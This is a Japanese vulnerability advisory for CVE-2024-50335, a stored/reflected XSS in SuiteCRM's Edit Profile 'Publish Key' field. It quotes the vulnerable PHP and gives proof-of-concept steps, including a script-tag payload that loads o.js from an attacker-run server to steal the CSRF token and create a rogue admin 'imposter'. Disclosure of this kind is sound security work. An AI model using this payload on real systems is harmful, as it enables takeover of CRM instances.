CVE-2024-50335: 「Publish Key」フィールドにおける認証済みXSSにより、不正な管理者ユーザーの作成が可能

概要

SuiteCRMのEdit Profileページにある「Publish Key」フィールドは、反射型クロスサイトスクリプティング (XSS) に対して脆弱であり、攻撃者が悪意のあるJavaScriptコードを注入できる可能性があります。これを悪用すると、CSRFトークンを窃取し、適切な認証なしに新しい管理者ユーザーを作成するなどの不正な操作を実行できます。

詳細

この脆弱性は、SuiteCRMアプリケーション内のPublish Keyフィールドに対する入力検証とサニタイズが不十分であるために発生します。攻撃者が悪意のあるスクリプトを注入すると、認証済みユーザーのセッションのコンテキスト内でそれが実行されます。注入されたスクリプト (o.js) は、取得したCSRFトークンを利用して新しい管理者ユーザーを作成するリクエストを偽造し、CRMインスタンスの整合性とセキュリティを実質的に損ないます。

影響

この脆弱性は、クリティカルなクロスサイトスクリプティング (XSS) の問題です。その影響は次のとおりです。

不正な管理者アクセス: 攻撃者は新しい管理者ユーザーを作成でき、CRMインスタンスを完全に制御できる可能性があります。
CSRFトークンの窃取: 認証済みユーザーに代わって不正な操作が実行される可能性があります。
データ整合性の侵害: ユーザーアカウントや設定を操作できるため、データの喪失、漏えい、または不正な変更につながる可能性があります。

脆弱なPHPソースコード

$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);

$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";

$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";

$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);

PoC

有効な管理者資格情報を使用してSuiteCRMにログインします。
Edit Profileに移動: 管理者アカウントのEdit Profileページにアクセスします。
「Advanced」タブの「Publish Key」フィールドに、次のスクリプトを注入します:

<script src=//localhost:1235/o.js>

o.jsがポート1235のlocalhost上のサーバーでホストされ、提供されたJavaScriptコードスニペットに記載されているエクスプロイトコードを配信していることを確認します。
管理者プロファイルへの変更を保存します。
SuiteCRMページを再読み込みすると、悪意のあるo.jsスクリプトが実行され、CSRFトークンを窃取して、以下の資格情報を持つ新しい管理者ユーザーを作成します。

Username - imposter
Password - ok

新しく作成された管理者ユーザーの資格情報でログインし、悪用が成功したことを確認します。

https://github.com/user-attachments/assets/cdf96f3d-7f61-4371-818b-e344efdcd197

CVE-2024-50335

人気

CVE-2024-50335: 「Publish Key」フィールドにおける認証済みXSSにより、不正な管理者ユーザーの作成が可能

概要

詳細

影響

脆弱なPHPソースコード

PoC

参照